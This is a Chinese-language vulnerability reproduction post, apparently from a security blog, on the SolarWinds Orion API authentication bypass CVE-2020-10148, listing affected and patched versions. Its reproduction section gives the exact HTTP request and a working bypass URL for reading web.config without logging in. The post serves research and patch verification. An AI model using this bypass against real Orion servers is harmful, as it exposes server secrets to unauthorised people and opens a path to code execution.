SolarWinds Orion API 遠程代碼執行漏洞
(CVE-2020-10148)
一、漏洞概況
SolarWinds Orion API 嵌入在 Orion Core 中,被用於與所有 SolarWinds Orion Platform 產品進行接口。通過在URI請求的Request.PathInfo 部分中包含特定參數,可以繞過 API 身份驗證,這可能允許攻擊者執行未經身份驗證的 API 命令。如果攻擊者將WebResource.adx,scriptResource.adx,i18n.ashx 或 Skipi18n 的 PathInfo 參數附加到對 SolarWinds Orion 服務器的請求,SolarWinds 可能會設置 SkipAuthorization 標志,該標志可能允許處理API請求無需身份驗證。
攻擊者可利用該漏洞遠程執行任意代碼,有專業黑客組織利用該漏洞投遞代號為'SUPERNOVA'的惡意程序。
二、漏洞影響范圍
影響版本:
SolarWinds Orion 2020.2.1 HF 2 及 2019.4 HF 6之前的版本
安全版本:
SolarWinds Orion 2019.4 HF 6(2020年12月14日發布)
SolarWinds Orion 2020.2.1 HF 2(發布於2020年12月15日)
SolarWinds Orion 2019.2 SUPERNOVA補丁(2020年12月23日發布)
SolarWinds Orion 2018.4 SUPERNOVA補丁(2020年12月23日發布)
SolarWinds Orion 2018.2 SUPERNOVA補丁(2020年12月23日發布)
三、漏洞復現:
訪問/Orion/invalid.aspx.js 路徑,截取請求頭中Location中data獲取
Location:/Orion/invalid.aspx.js.i18n.ashx?l=en-us&v=43005.14.L
GET/Orion/invalid.aspx.jsHTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/css,*/*;q=0.1Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeReferer: http://127.0.0.1/Orion/Login.aspx?ReturnUrl=%2fCookie: ASP.NET_SessionId=p5yxzzumyllsfprttbkexo4u; TestCookieSupport=Supported; Orion_IsSessionExp=TRUE
response
HTTP/1.1404Not FoundCache-Control: no-cachePragma: no-cacheExpires: -1Location: /Orion/invalid.aspx.js.i18n.ashx?l=en-us&v=43005.14.LServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Same-Domain: 1X-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-XSS-Protection: 1; mode=blockDate: Wed, 30 Dec 2020 01:55:43 GMTConnection: closeContent-Length: 0
將 .i18n.ashx?l=en-US&v=43005.14.L攜帶到下個訪問路徑,從而繞過身份認證。這里訪問的是 web.config文件。
直接訪問也行:
http://127.0.0.1/web.config.i18n.ashx?l=en-us&v=43005.14.L
參考:
https://nosec.org/home/detail/4630.html
免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
轉載聲明:著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。
訂閱查看更多復現文章、學習筆記
thelostworld
安全路上,與你並肩前行!!!!
個人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
個人簡書:https://www.jianshu.com/u/bf0e38a8d400
個人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html
個人博客園:https://www.cnblogs.com/thelostworld/
FREEBUF主頁:https://www.freebuf.com/author/thelostworld?type=article
歡迎添加本公眾號作者微信交流,添加時備注一下“公眾號”